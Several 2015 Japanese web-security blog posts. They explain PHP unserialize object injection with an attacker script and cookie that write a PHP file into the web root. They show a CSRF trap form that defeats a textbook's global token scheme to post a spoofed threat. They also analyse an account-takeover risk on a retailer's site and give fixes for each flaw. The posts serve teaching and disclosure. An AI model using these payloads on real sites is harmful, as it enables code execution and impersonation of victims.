2015年7月24日金曜日

セキュアなWEBサイト運用のためのワークショップ(東京)にて講演します

キヤノンITソリューションズ株式会社主催のセミナー「セキュアなWEBサイト運用のためのワークショップ~ハッカーが攻撃をあきらめるWEBサイトとは?~」にて講演します。

日時:2015年7月29日(水)13:30~17:00 受付は13:00より
場所:フクラシア品川クリスタルスクエア 3階 会議室G (東京都港区 地図
費用:無料(申し込みはこちら
講演タイトル:やぶられにくいWEBサイトの作り方  ~被害事例から学ぶ攻撃手法とその対策~

企業セミナーとしては長めの80分という枠をいただいていますので、具体的な攻撃手法をたっぷりお見せしたいと思います。「被害事例から学ぶ…」というタイトルですので、具体的な事例の手法(推測含む)の攻撃手法のデモをお見せします。
  • 情報通信研究機構(NICT)ウェブサイトに対する侵入事件(Joomlaの脆弱性)
  • メガネ通販サイトに対する侵入事件(Struts2の脆弱性によりサイト改ざん、入力内容窃取)
  • EC-CUBEカスタマイズ部分のSQLインジェクションによる個人情報窃取
  • パスワードリスト攻撃による不正ログイン
  • なりすまし犯行予告をCSRF攻撃で
  • なりすまし犯行予告をXSS攻撃で
  • なりすまし犯行予告をクリックジャッキング攻撃で
  • その他
大阪でもほぼ同じ内容でやりましたが、今回は少し趣向を変えて、「なりすまし犯行予告」をCSRF、XSS、クリックジャッキングの3パターンで実演いたします。これら攻撃手法の *具体的な* 悪用方法やその違いが理解しやすいかと思います。

それでは、よろしくお願いいたします。

2015年7月15日水曜日

PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になる

既にいくつかの記事で指摘がありますが、PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になります。 しかし、ブログ記事等を見ていると、外部由来の値をunserialize関数に処理させているケースが多くあります。

ユースケースの一例としては、「複数の値をクッキーにセットする方法」として用いる場合です。 PHP クッキーに複数の値を一括登録する方法という記事では、以下の方法で複数の値をクッキーにセットしています。
$status = array(
 "height" => 167,
 "weight" => 50,
 "sight" => 1.2
);
setcookie("status", serialize($status));
クッキーの受け取り側は以下のコードです。
print_r(unserialize($_COOKIE['status']));
出力結果は以下となります。
Array
(
[height] => 167
[weight] => 50
[sight] => 1.2
)
このようなunserialize関数の使い方は危険なのですが、上記に示したコードの範囲では脆弱性とまでは言えません。そこで、脆弱な例(getcookie.php)を下記に示します。
<?php
  require_once 'Logger.php';  // ログ出力クラス

  if (empty($_COOKIE['status']))
    die('クッキーが空です');
  $status = unserialize($_COOKIE['status']); // デシリアライズ

  // 以下バリデーション
  if (! is_array($status))
    die('statusは配列が必要です');
  if (! isset($status['height']))
    die('heightがセットされていません');
  if (! isset($status['weight']))
    die('weightがセットされていません');
  if (! isset($status['sight']))
    die('sightがセットされていません');

  // 以下表示
  echo 'height : ' . htmlspecialchars($status['height']) . '<br>';
  echo 'weight : ' . htmlspecialchars($status['weight']) . '<br>';
  echo 'sight : ' . htmlspecialchars($status['sight']) . '<br>';
ここでログ出力クラスLogger.phpの中身は以下となっています。
<?php
class Logger {
  const LOGDIR = '/tmp/';  // ログ出力ディレクトリ
  private $filename = '';  // ログファイル名
  private $log = '';       // ログバッファ

  public function __construct($filename) {  // コンストラクタ…ファイル名を指定
    if (! preg_match('/\A[a-z0-9\.]+\z/i', $filename)) { // ファイル名のバリデーション
      throw new Exception('Logger: ファイル名は英数字とドットで指定して下さい');
    }
    $this->filename = $filename; // ファイル名
    $this->log = '';             // ログバッファ
  }

  public function __destruct() { // デストラクタではバッファの中身をファイルに書き出し
    $path = self::LOGDIR . $this->filename;  // ファイル名の組み立て
    $fp = fopen($path, 'a');
    if ($fp === false) {
      die('Logger: ファイルがオープンできません' . htmlspecialchars($path));
    }
    if (! flock($fp, LOCK_EX)) {   // 排他ロックする
      die('Logger: ファイルのロックに失敗しました');
    }
    fwrite($fp, $this->log); // ログの書き出し
    fflush($fp);             // フラッシュしてからロック解除
    flock($fp, LOCK_UN);
    fclose($fp);
  }

  public function add($log) {  // ログ出力
    $this->log .= $log;        // バッファに追加するだけ
  }
}
ご覧のようにLoggerクラスはログ出力を目的としたもので、addメソッドではログをオブジェクト内のバッファに貯めこんでいき、アプリケーションの終了時にデストラクタによりログの中身をファイルに書き出すというものです。

脆弱なサンプル getcookie.php はLogger.phpをインクルードしているものの実際には呼び出しておらず、とくに悪いことはできないように見えますが、現実には、攻撃者はLoggerクラスを悪用する事が可能です。

ここで、攻撃者が使用する攻撃用のスクリプトを示します。これは攻撃者が手元の環境で動かすスクリプトです。
<?php
  require 'Logger.php';  // ファイル名のバリデーションは無効にしておく
  $x = new Logger('../../../var/www/html/evil.php');
  $x->add("<?php phpinfo(); ?>\n");
  setcookie('status', serialize($x));
これが生成するCookieは以下のとおりです。実際にはCookieの値はパーセントエンコードされています。また、下記で[NUL]はヌルバイトを示します。
Set-Cookie: status=O:6:"Logger":2:{s:16:"[NUL]Logger[NUL]filename";s:30:"../../../var/www/html/evil.php";s:11:"[NUL]Logger[NUL]log";s:20:"<?php phpinfo(); ?>
攻撃者はこのクッキーを攻撃対象のサイトで有効になるように自分のブラウザにセットします。この状態で先のgetcookie.phpにアクセスします。問題になる箇所は以下の3行です。
$status = unserialize($_COOKIE['status']); // Loggerオブジェクトがデシリアライズされる
if (! is_array($status))           // 配列ではないので
  die('statusは配列が必要です');   // 終了する
あれあれ、単に「statusは配列が必要です」というエラーメッセージを表示して止まるだけ…ではありません。Loggerオブジェクトが生成されているのでこの後Loggerクラスのデストラクタが動きます。

ここでファイル名は /tmp/../../../var/www/html/evil.php が指定されているので、ディレクトリトラバーサルと同じ原理で /var/www/html/evil.php がオープンされ、バッファの内容 <php phpinfo(); ?>が書き込まれます。
後は、攻撃者は攻撃対象のサイトにて evil.php を閲覧することにより、任意のPHPスクリプトが実行できることになります。

いったんまとめ

攻撃が成立する条件は下記となります。
  • PHPのunserialize関数に与える引数を外部からコントロールできる
  • アプリケーションにてクラスを定義しており、デストラクタが攻撃に悪用できる
  • ドキュメントルート下のディレクトリにPHPスクリプトから書き込みができる
ただし、以下の記事にあるように、攻撃に使える経路としてはデストラクタだけではありません。
また、この問題の有名な脆弱性がCakePHPにありました。以下の記事が参考になります。

何が問題か

攻撃者がunserialize関数に任意の文字列を処理させることが出来る場合、攻撃者は自分の都合の良いクラスのオブジェクトを攻撃対象アプリケーション内で生成させることができます。このクラスは、アプリケーション側で元々定義されているものに限られるため、unserializeがあると直ちに危険であるとは限りませんが、大規模なアプリケーションの場合、危険性を見極めるのはかなり困難であろうと思います。

根本的な解決策

攻撃者が任意のクラスのオブジェクトを自由に生成できる状況は、直接の危険性がないとしても、好ましくない状況と言えます。このため、根本的解決策として以下を推奨します。
  • 外部からコントロールできる値をunserialize関数に処理させない
同じ意味のことをセキュアコーディングの用語を用いると下記のようになります。
  • 信頼境界を超えて渡されるデータをデシリアライズしてはならない
そして、このような文脈では、「信頼できないデータを検証する」とか「信頼できないデータは無害解する」というような表現を見かけますが、このデシリアライズ問題については検証も無害化も困難です。検証が複雑すぎるからです。

このため、serialize/unserializeの代わりに、implode/explodeやjson_encode/json_decodeを使うとよいでしょう。どうしてもserialize/unserializeを使いたい場合は、セッション変数等安全な方法でシリアライズされた値をやりとりします。
  • serialize/unserializeの代わりに、implode/explodeやjson_encode/json_decodeを用いる

保険的対策

Loggerクラスのデストラクタの冒頭は以下のファイル名組み立てですが、局所的にみるとディレクトリトラバーサル脆弱性があります。
$path = self::LOGDIR . $this->filename;  // ファイル名の組み立て
通常のケースでは、コンストラクタでフアイル名をバリデーションしているので、ディレクトリトラバーサル攻撃はできないように見えますが、デシリアライズ等の経路でオブジェクトが生成された場合、コンストラクタは通らないので、不正なファイル名が使われる可能性があります。このため、以下のように$this->filenameにbasename関数を通しておくと安全です。
$path = self::LOGDIR . basename($this->filename);  // 安全なファイル名組み立て
上記は、unserializeによるオブジェクト汚染に対しては保険的な対策ですが、ディレクトリトラバーサル脆弱性に対して根本的解決策となります。
上記のように、一見大丈夫と思える箇所であっても、脆弱性の発生原因箇所に対して局所的に脆弱性を解消しておくことで、アプリケーション全体の安全性を高めることができます。

参考: もう入力値検証はセキュリティ対策として *あてにしない* ようにしよう

また、ドキュメントルート下のディレクトリに対して、PHPスクリプトから書き込みができないように権限を制限することも保険的な対策になります。

まとめ

PHPのunserialize関数の危険性について説明しました。ここで紹介した攻撃方法は、オブジェクトが生成されてしまうとどうしてもデストラクタを通ることになるため、オブジェクトが生成されてからバリデーション等をおこなっても手遅れです。かといって、シリアライズされた状態のままバリデーションを行うことも困難です。このため、外部由来のデータについてはunserialize関数を用いないことが現実的な対策となります。


【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年6月30日火曜日

書籍『Webアプリケーションセキュリティ対策入門』のCSRF脆弱性

一昨日twitter上で、ほしくずさんから、以下の様なツイートがありました。
通称「大垣本」ことWebアプリセキュリティ対策入門 ~あなたのサイトは大丈夫?にクロスサイト・リクエストフォージェリ(CSRF)脆弱性があるというのです。
ここで「第二版」という言葉が分かりにくいと思いますが、書籍の第二版ではなく、同書のサンプルプログラムが実は「間違い探し用のスクリプト」が誤って掲載されていたため、間違い探し用でないものに差し替えられた経緯があり、差し替え後のものを「第二版」と呼んでいます。経緯と差し替え後のスクリプトはこちらから参照できます。

これに対して大垣さんは以下のように返しておられます。
どうも話がかみあっていないようです。
そこで、本当に大垣本にCSRF脆弱性があるか確認してみましたので以下に報告します。
なお、私は「今後大垣さんに対する批判はしない」と宣言している身ですので、この記事は批判云々ではなく、ソフトウェアにつきもののバグ報告に専念し、方法論等に対する批判は慎みたいと考えます。

大垣本のCSRF防御の考え方

大垣本のCSRF防御の考え方を説明するために、同書のP151の「フォームIDの動作」という図を引用します。
図のように、大垣本のCSRF対策方式(以下、「大垣方式」と表記)では、トークン(同書ではフォームIDと表記)をランダムな鍵として生成(②)し、それをフォームの隠しフィールドとDBに保存します(③、④)。ユーザーがフォームをサブミット(⑤)すると、送信されてきたトークンがDB上に存在するか確認(⑥)し、あればトークンを削除(⑦)して、サーバー上の処理に進みます。⑥でトークンがDBにない場合は、エラーとして処理には進みません。

一般的なCSRF対策手法との違い

大垣方式が一般的なCSRF対策と異なる点は以下の2点です。
  • フォームの2重投稿防止機能を兼ねている
  • トークンがセッション変数ではなくDBに保存される

トークンの有効範囲は?

トークンがDBに保存される場合、トークンの有効範囲が気になるところです。大垣本および第二版のソースを見ると、トークンを保存するテーブルの定義は以下の通りです。
CREATE TABLE form_id (sha1 TEXT PRIMARY KEY, created TEXT NOT NULL)
sha1がトークン、createdが生成日時を保持します。
シンプルな構造ですが、これだとトークンは、ユーザーやセッションを超えて、アプリケーション全体で共通になっています。これはまずそうですね。
トークンをホテルの部屋の鍵に例えると、こうです。大垣方式の鍵は、ホテルの全ての部屋に共通で使える鍵です。本来は、鍵は特定の1部屋のみに使えるべきですが、そうなっていないのです。

攻撃方法

どうもまずそうだということで、大垣方式への攻撃方法を検討します。
まず攻撃者イブは、自分のIDとパスワードを用いてログインして、投稿フォームに遷移します。
この段階では自ら投稿せず投稿フォームのHTMLソースを見ると、以下の様にトークン(form_id)があります。
<input type="hidden" name="form_id" value="e25b108116bb9f6d698537937a87d1fc8ccae8a5" />
この段階で、DB内部ではform_idは以下のようになっています(攻撃者には見えません)。
sqlite> SELECT * FROM form_id;
e25b108116bb9f6d698537937a87d1fc8ccae8a5|1435588303
攻撃者はHTMLソースから得たform_idを用いて、以下の様な罠のHTMLを作成します。
<body onload="document.forms[0].submit();">
<form action="http://samplebbs.jp/thread_create.php" method="POST">
<input name="title" value="最初の一撃"><br>
<input name="message" value="〇〇小学校を襲撃しますよ"><br>
<input name="form_id" value="e25b108116bb9f6d698537937a87d1fc8ccae8a5"><br>
<input name="submit_btn" value="送信"><br>
</form>
</body>
うっかり、掲示板にログイン中の利用者アダムがこの罠を閲覧してしまうと、以下のメソッド(database.class.php)によりトークンチェックが実行されます。
public function GetFormID($sha1) {
  $sql = "SELECT * FROM form_id WHERE sha1 = ". $this->quote($sha1) .";";
  $stmt = $this->Query($sql);
  if (!is_object($stmt)) {
    trigger_error('データベースエラーが発生しました');
  }
  $rec = $stmt->fetchAll(PDO::FETCH_ASSOC);
  assert(count($rec) === 1 || count($rec) === 0);
  if (!$rec) {
    return 'no record';
  } else {
    return $rec[0]['sha1'];
  }
}
実行されるSQL文は以下の通りです。
SELECT * FROM form_id WHERE sha1 = 'e25b108116bb9f6d698537937a87d1fc8ccae8a5';
この行は存在するため、GetFormIDはトークン(e25...)を返します。正常です。
つづいて、同じクラスのRemoveFormIDメソッドによりトークンを削除します。
public function RemoveFormID($sha1) {
  $sql = "DELETE FROM form_id WHERE sha1 = ". $this->quote($sha1) .";";
  if (!$this->Exec($sql)) {
    // GCがあれば無い場合もある
    return false;
  }
  return true;
}
実行されるSQL文は下記のとおりです。
DELETE FROM form_id WHERE sha1 = 'e25b108116bb9f6d698537937a87d1fc8ccae8a5';
これも正常に実行されます。CSRFのトークンチェックを通ったので、以下のSQL文により罠からのリクエストが、アダム(被害者)の投稿として実行されます。
INSERT INTO thread (title, message, created) VALUES ('最初の一撃', '〇〇小学校を襲撃しますよ', '2015-06-29 23:48:07');
実行結果は下記のとおりです。


すなわち攻撃の成功です。

いったんまとめ

大垣本記載のCSRF対策方式には抜けがあり、悪意のある掲示板のユーザーから、他のユーザーに対してCSRF攻撃により、なりすまし投稿ができることを示しました。その原因は、トークン管理がアプリケーション全体として共通となっており、ユーザないしセッション毎に分けて管理されてないことにあります。

対策

簡単に対策するには、データベースにトークンを保存する方法の代わりに、セッション変数にトークンを保存することです。セッション管理は元々セッション毎に割り当てられているため、アプリケーション側でセッションを区別する必要がありません。

その他のバグ(バリデーションの不備)

掲示板のタイトル欄はinput要素がソースなので改行は入力できないはずですが、PROXYツールなどで改行を入力してやると、バリデーションで弾かれず、以下のように改行を含む投稿が登録できてしまいます(「改行を含むタイトル」のところ)。


タイトルに改行が入力できたとしても大きな実害はなく些細な問題かもしれませんが、意図した結果ではないように思えますので報告します。

レースコンディション

また、バグとまでも言えず微妙な問題ですが、form_idを二重投稿防止機能としてとらえると、レースコンディションの問題があります。form_idチェックの際に排他制御がされていないからです。
このため、二重投稿のうち 2番目のリクエスト処理が、1番目のリクエスト処理に追いついてしまった場合、form_idが削除されないうちに 2番目のリクエストのSELECT文が実行されると、両方のリクエストが「form_idが有効」とみなされます。つまり局所的に見るとレースコンディションの問題があり二重投稿となりそうです。
なぜこれが「バグとまではも言えず」かというと、現実には2番目のリクエストが1番目のリクエストに追い付くことはないからです。その理由は、同一のセッションIDで二重にsession_start()しようとすると、二番目のsession_start()はロックされることによります。
注意:
ファイルベースのセッション (PHP のデフォルト) は、 session_start() でオープンしたり session.auto_start で暗黙のうちに開始したりしたセッションのセッションファイルをロックします。 いったんロックがかかったら、そのスクリプトが終了するなり session_write_close() を呼んでセッションを閉じるなりしない限り、 他のスクリプトからはそのセッションファイルにアクセスできません。
http://php.net/manual/ja/session.examples.basic.phpより引用
ただしこれは上記もあるように、ファイルベースのセッションの実装上の制限であり、PHPのセッションが一般的にそのような仕様であるわけではありません。それは、上記の引用のすぐ後ろにも書いてあります。
これは、たとえば AJAX を使いまくっていて同時に複数のリクエストが発生したりするウェブサイトで問題になります。 この問題への対処方法として一番お手軽なのは、セッションに対して必要な変更が終わったらすぐに session_write_close() を呼ぶことです。スクリプトの最初のほうで呼ぶほうが好ましいでしょう。 あるいは、ファイルではなく別のバックエンド (同時アクセスに対応しているもの) を使うという手もあります
さまざまな環境で動かすことを考えると、2重投稿のチェック処理のレースコンディションに配慮しておくべきでしょう。

防御的プログラミング

このように、局所的に正しさを保証していくプログラミングスタイルは防御的プログラミング(defensive programming)と呼ばれ、1970年代に構造化プログラミングとあわせて提唱されたと記憶しています。皆様おなじみのカーニハンは防御的プログラミングが好きだったと見えて彼の書籍にはよく防御的プログラミングが言及されています(たとえばプログラム書法…これはFORTRANプログラムが題材です)。防御的プログラミングは元々セキュアコーディングとは関係なくバグの出にくい高品質なプログラムの開発手法として提唱されたものですが、脆弱性もバグの一種なので、バグが出にくいということは間接的に脆弱性も出にくくなるという効果があります。

二重投稿チェック処理の改良

さて、防御的プログラミングの精神にのっとり、局所的なレースコンディションを解消しましょう。すぐに思いつく方法は、トランザクションとロックを使用することですが、実はもっと良い方法があります。
先に引用したRemoveFormIDは、DELETE文をexecメソッドで呼び出した戻り値が 0 の場合 falseを返し、それ以外の場合 trueを返しています。execメソッドの戻り値が 0 ということは、DELETE文の影響を受けた行が 0 行、すなわち削除対象の行はなかったということです。さらに言えば、「先に誰かが消していた」わけですから、本来この場合はエラーにすべきです。しかし、残念ながらRemoveFormIDの戻り値は、呼び出し側は捨ててしまっています(bbs.class.phpのChcekFormIDメソッド)。
public function CheckFormID($sha1, $disable=true) {
  $form_id = $this->db->GetFormID($sha1);
  if (!$form_id || $form_id !== $sha1) {
    $GLOBALS['error']='送信済みです';
    return false;
  } else {
    $this->db->RemoveFormID($sha1);
  }
  return true;
}
そこで、RemoveFormIDの戻り値もチェックすれば…となりますが、実はその前のGetFormIDは不要なのです。今のスクリプトはform_idがテーブル上にあることをSELECT文で確認し、あればDELETE文で削除していますが、SQLなのですからいきなりDELETE文で削除して、その結果削除された行数が 1 行であればform_idは存在したわけですから投稿処理に進み、0行の場合はform_idがなかったわけですからエラーにすればよいのです。
このようにするメリットは、スクリプトが単純になるだけでなく、SQL文がDELETE一つですむことから、クリティカルセクションがDELETE文の内部だけとなり、DELETE文の実行にともなう暗黙の排他制御だけで排他制御が完結するところにあります。すなわち、明示的なトランザクションと排他制御の指定は不要になります。

ただし、セキュリティの入門書であるという本書の特性を考えると、冗長でも敢えてSELECT…DELETEを用い、クリティカルセクションと排他制御の説明をするという方針もありだとは思います。

まとめ

大垣本のCSRF対策には抜けがあり、攻撃可能であることを説明しました。この種の問題は脆弱性診断をしていると時々見つかりますので、ご自身のアプリケーションがCSRF脆弱になっていないか、この記事で紹介した攻撃方法で確認することをおすすめします。

2015年6月25日木曜日

ビックカメラ.COMでメールアドレスを間違えて登録したらどこまで悪用されるか検討した

すでに報道のように、ビックカメラの通販サイト「ビックカメラ.com」において、会員IDをメールアドレスにするという改修がなされました。従来は会員がIDを自由につけられる仕様でした。さっそく会員登録してみたところ、会員IDのメールアドレスの入力間違いに際して、安全性の配慮に掛ける仕様だと感じたのでビックカメラのサポートに報告したところ、以下のように「セキュリティ上の問題とは認識していない」との回答でした。このため、ここに問題点と対策を公開して、利用者に注意喚起いたします。
平素はビックカメラ.comをご利用いただき、誠にありがとうございます。
サポートセンター担当のXXXXと申します。
この程はお問い合わせいただきありがとうございます。
貴重なご意見を賜りまして、誠にありがとうございます。
今回サイトのリニューアルに関して、基本的に現状ではセキュリティ上の問題があるとの認識はございません。

(1)ユーザ登録の画面

会員IDとなるメールアドレスの入力欄は下記の通りです。通常メールアドレスを2回入力することで、入力間違いをチェックするサイトが多いと思いますが、ビックカメラの場合はメールアドレスの入力は1回のみです。その後、入力したメールアドレスに受信確認のメールがくるものと思いきや、それもありません。他のサイトに比べ、メールアドレスの入力間違いが起こりやすい状況と言えます。

この後、個人情報やパスワード、「秘密の質問と答え」等を入力、確認して会員登録は完了です。

(2)会員登録のメールが届く

会員登録が終わると、登録したメールアドレスに以下のようなメール(抜粋)が届きます。メールアドレスは仮のものに変更しています。
徳丸 浩(トクマル ヒロシ) 様

この度は、ビックカメラ.com( http://www.biccamera.com )にご登録
いただきまして、誠にありがとうございます。  

-------------------------------------------------------------------
本メールはシステムにより自動で送信させて頂いております。
-------------------------------------------------------------------

今後、ご注文またはご購入履歴を参照される際には、
下記の会員IDが必要となりますので、大切に保管をお願い致します。

会員ID:xxxx@example.jp
お名前:徳丸 浩(トクマル ヒロシ) 様
万一、メールアドレスを間違えて入力して、それがたまたま他人のメールアドレスと一致した場合、このメールは間違えたメールアドレスの持ち主が見ることになります。氏名が漏れるという、一種の情報漏洩ですが、元はと言えばメールアドレスを間違えた利用者が悪いわけで、ここまでは仕方ないかと思っていました。

(3)会員登録と同時にログイン状態となる

会員登録すると、そのままECサイトにログイン状態となります。つまり、登録したメールアドレスを入力する機会はありません。試みに、そのまま商品を購入してみました。特に購入するものもなかったので、プリンタのインクの買い置きを購入しました。
ログイン後しばらく時間が経過している場合は、決済前に再度ログインを要求されるのでメールアドレスが間違えているとログインできず、ここで「何かがおかしい」と気づく機会になります。しかし、会員登録後短時間の間に商品を購入すると、再ログインはなく、ここでもメールアドレスの入力間違いには気づきません。
私は、決済方法としてクレジットカードを選択し、わざと「カード情報を保存する」を選択して決済しました。

(まとめ)登録後直ちに買い物すると、メールアドレスを入力する機会がないまま買い物が終了する

(4)買い物の内容と住所がメールとして届く

購入手続きが完了すると、注文の確認メールが届きますが、氏名に加えて、住所と購入内容が記載されています。
徳丸 浩様
ご注文ありがとうございます。
以下の内容でご注文を承りました。
【中略】
注文番号:1013xxxxx
注文日時:2015/06/23 16:39
お名前 :徳丸 浩 様
ご住所:
〒1xx-xxxx
東京都xx区xx x-xx-xx xxxx
お支払い方法:クレジットカード
 ご注文商品      :
 【純正】 インクカートリッジ (黒×2) xxxxxx-xxx(xxxxxxxxx)              x,xxx円
  数量                  1
  状況                  在庫あり
利用者が誤って別人のメールアドレスを登録してしまうと、このメールが別人に届くわけで、嫌な感じですね。とくに、購入したことを他人に知られたくない商品の場合、住所・氏名・購入商品がセットで他人に漏れるのは、かなり嫌な感覚ではないか思います。

(5)メールアドレスの持ち主に悪意がある場合、なりすましの危険性はないか

さて、ここからは、間違ったメールアドレスの持ち主に悪意がある場合、なりすましログインされる危険はないか検討します。以下では、メールアドレスの持ち主を「攻撃者」と表記します。攻撃者は、利用者(被害者)の登録済みメールは受信できるわけですから、パスワードリセットの機能が悪用できる可能性があります。
ビックカメラ.comのパスワードリセットに必要な情報は以下の通りです。
  • 登録済み電話番号
  • 登録済みメールに送信されるパスワードリセットのURL
  • 秘密の質問の答
このうち、電話番号については、被害者の氏名と住所が分かっているので、電話帳(ハローページ)等からかんたんに分かる場合もあるでしょうし、そうでない場合でもソーシャル的な手法で判明する可能性があります。
「秘密の質問と答」ですが、ビックカメラ.comの場合、秘密の質問は以下から選択するようになっています。
  • 卒業した小学校の名前は?
  • 母親の旧姓は?
  • 愛読書は?
  • 座右の銘は?
  • ペットの名前は?
あまり「秘密の質問」という感じでないものばかりですね。氏名住所がわかっている前提では、被害者のfacebookの書き込みに等記載されていたり、そうでない場合でもソーシャルエンジニアリングの手法で調べることもできそうです。

ということで、攻撃者に悪意があると、パスワードリセットが成功する確率は、それなりにありそうです。

(6)クレジットカード情報の悪用はできるか?

ビックカメラ.comになりすましログインが出来ると登録済みの個人情報が閲覧できますが、既に氏名、住所、メールアドレス(間違っていて正確ではない)、電話番号(パスワードリセット時に必要)が分かっているので、個人情報は攻撃者にとって新たな有益な情報とは言えません。
そこで、登録済みのクレジットカード情報を悪用して買い物ができるか確認しました。
結論としては、攻撃者は登録済みクレジットカード情報を用いて買い物をして、新たに登録した住所に商品を発送することができることを確認しました。

ということで、以下の前提では、クレジットカード情報の悪用もあり得ることが分かりました。
  • 利用者がメールアドレスを入力間違いする
  • 利用者は会員登録後ただちに買い物をして、クレジットカード情報をサイトに保存する
  • 間違ったメールアドレスがたまたま別人のアドレスと一致する
  • メールアドレスの持ち主に悪意がある
  • 電話番号と秘密の質問の答えがソーシャルエンジニアリングで入手できる

(7)会員登録時にメールアドレスを間違える人はどれくらいいるか?

ここで、会員登録時にメールアドレスを間違える人がどれくらいいるのかという疑問が生じますが、私は、それなりに間違えはあると推測しています。
以下は、私のgmailアドレスに届いたメールですが、Apple IDとして、うっかり私のメールアドレスを登録してしまった方のようです。ちなみに女性名でした。

徳丸という比較的珍しい名字でもこのような間違いがあるので、鈴木・田中・高橋・佐藤等のポピュラーな名字であれば、メールアドレスの間違いがたまたま他人と一致する確率は、それなりにありそうに考えます。
また、月宮紀柳さんから以下のツイートをいただきましたので引用します。このツイートから事例を参照することができます。

(8)とりあえずのまとめ

ここまででいったんまとめます。
ビックカメラ.comの利用者登録において、メールアドレスの入力間違いに気づきにくい仕様であり、利用者がメールアドレスを間違えて登録してしまった場合、最悪ケースでは、なりすましや、クレジットカード情報の悪用などの被害が想定されることが分かりました。
あくまで、利用者がメールアドレスを間違えた場合という前提なので、これは脆弱性とまではいえませんが、安全性に関する配慮が少し足りないとはいえると思います。

(9)利用者側でできる注意

利用者側でできる注意としては、入力・確認画面でメールアドレスをよく確認するという以外に、以下を実施するとよいでしょう。
  • 会員登録時に、登録完了のメールが送られることを確認する
  • クレジットカード情報の保存機能は利用しない

(10)サイト側の改善案

サイト側でできる改善案としては下記があります。
  • メールアドレス入力後に受信確認を行う
  • クレジットカード情報を保存しない
  • クレジットカード情報を保存する際は発送先住所と対応させておき、あらたな発送先住所については再度クレジットカード情報を入力してもらう(Amazonで採用している方法)
メールアドレス入力後の受信確認については、今話題のニトリのサイトが参考になります。以下は、会員登録の冒頭でのメールアドレス入力画面です。


会員登録において、いきなりメールの受信確認から始める方法は最近よく見かけます。これだと、メールアドレスの入力欄も一つでよいので、入力する方も楽でいいですね。

※ただし、ニトリのこのフォームはなぜかHTTPSでないので、サイト(ドメイン)の真正性確認という点では課題があります。会員登録やログインの他のフォームはHTTPSなので、単に漏れたということでしょうか。

また、クレジットカード情報の保存については、リスク低減という点では保存しないに越したことはありませんが、どうしても保存したいという要件であれば、Amazon等が採用しているように、住所とカード情報を対応させておき、新たな住所が指定された場合はカード情報も再入力する方法がよいと思います。この方法であれば、パスワードリスト攻撃等で不正ログインされた場合でも、被害を緩和できる可能性が高いです。

まとめ

ビックカメラ.comを題材として、メールアドレス登録間違いの危険性について報告しました。
まずは利用者側がメールアドレスを正しく登録するべき筋合いのものではありますが、やはり間違いはあり得ることですので、下記の施策を実施するとよいでしょう。
  • 入力間違いに気づきやすくする(メールアドレスを2回入力)
  • 入力間違いがあれば登録が進めないようにする(受信確認)
  • 入力間違いがあっても被害を緩和できる設計とする(カード情報と住所の対応づけ)
難しいことはよくわからないということであれば、広く使われているベストプラクティスに従うことから始めたらどうでしょうか。拙著「安全なWebアプリケーションの作り方」でも、5.2.1ユーザ登録において、「メールアドレスの受信確認」について説明しています(宣伝)。ベストプラクティスには、たいていの場合そうする意味があるわけですから、単に処理を省略してしまうと上記のようなリスク発生につながる場合があります。


【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年6月24日水曜日

ウェブサイトに侵入された大学のリリースに見る侵入対策への誤解

ここ数日大学等のウェブサイトに対する侵入事件の報道やプレスリリースが続いています。
これらを読んで気になったことがあります。大学側が一定のセキュリティ対策を施していたが、それでも侵入されてしまったような論調だからです。まずは早稲田大学の事例ですが…
3.不正侵入の原因について
スケジュール管理サーバにはアンチウィルスソフトウェアをインストールし、最新のパターンファイルを装備していました。しかし、当該サーバのOSのセキュリティパッチは最新のものではなく、また当該サーバに対しファイアウォールによる監視が行えていなかったため、不正侵入を防御できませんでした。現在は、OSのセキュリティパッチを最新のものに更新し、ファイアウォールの監視対象として防御しています。

スケジュール管理ウェブサイトの改ざんについて – 早稲田より引用
アンチウイルスソフトの導入・運用は正しく行っていたが、OS等のパッチは適用されていなかったと書いてあります。これでは、対策の優先順位が逆です。
まず、ウェブサイトへの侵入経路としては以下の2種類があります。
  • サーバーソフトの脆弱性(セキュリティ上の弱点)をつかれる
  • サーバーの認証を突破される
このため、脆弱性に対するパッチを適用して、脆弱性がない状態を作り出すことが重要です。
ウイルス対策ソフト(アンチウイルス)は、脆弱性をついた攻撃について一定の効果がありますが、ウイルス対策ソフトというものは、不正なファイルを対象としたソリューションです。公開ウェブサイトに不正なファイルが送り込まれたという状況は、今回のようなケースでは、外部からの「改ざん」により不正ファイルが作られたことになり、すなわち攻撃を受けてしまった後の話です。それでも水際でストップできればよいのですが、改ざんにより送り込まれるファイルはウイルスとは限らず、例えば単にHTMLが書き換えられ特定の文言が追加されたようなケースではウイルス対策ソフトでは検知できません。
一方、パッチの適用の方は、ウェブサイトへの侵入経路そのものを断つわけですから、非常に効果的です。

次に徳島大学の件ですが、報道の以下の部分が気になりました。
このサーバーは2013年から使用しており、少なくとも年に1度はパスワードを変更していた。

サイバー攻撃:徳島大電子会議システムサーバー乗っ取り - 毎日新聞より引用
年1回のパスワード定期的変更をしていたのに乗っ取りされてしまった、と読めます。しかし、パスワードの定期的変更の効果は限定的と考えられます。

まず、サーバーのパスワードを変更する意味ですが、何らかの理由で「パスワードを知っているべきでない人物がパスワードを知っている」状況が想定される場合に、パスワードを変更することにより、当該のパスワードを無効化するということです。そしてその典型的なケースは、サーバーの管理者が退職、異動によりサーバー管理者でなくなったケースです。この場合、元サーバー管理者がパスワードを悪用するケースに備えて、パスワードを変更する必要があります。

モデル的なケースとして、毎年4月1日にサーバー管理者が必ず交代し、それ以外ではサーバー管理者の異動はないとします。この場合は、一年に一度、4月1日にパスワードを変更することに大きな意味があります。元サーバー管理者の知っているパスワードを無効化できるからです。

しかし、実際には上記のような規則的な異動はまれで、毎年管理者が移動するわけではないとか、4月以外に管理者が異動になる場合もあるでしょう。したがって、一年に一度ではなく、サーバー管理者の異動のタイミングで遅滞なくパスワードを変更する運用がベストです。

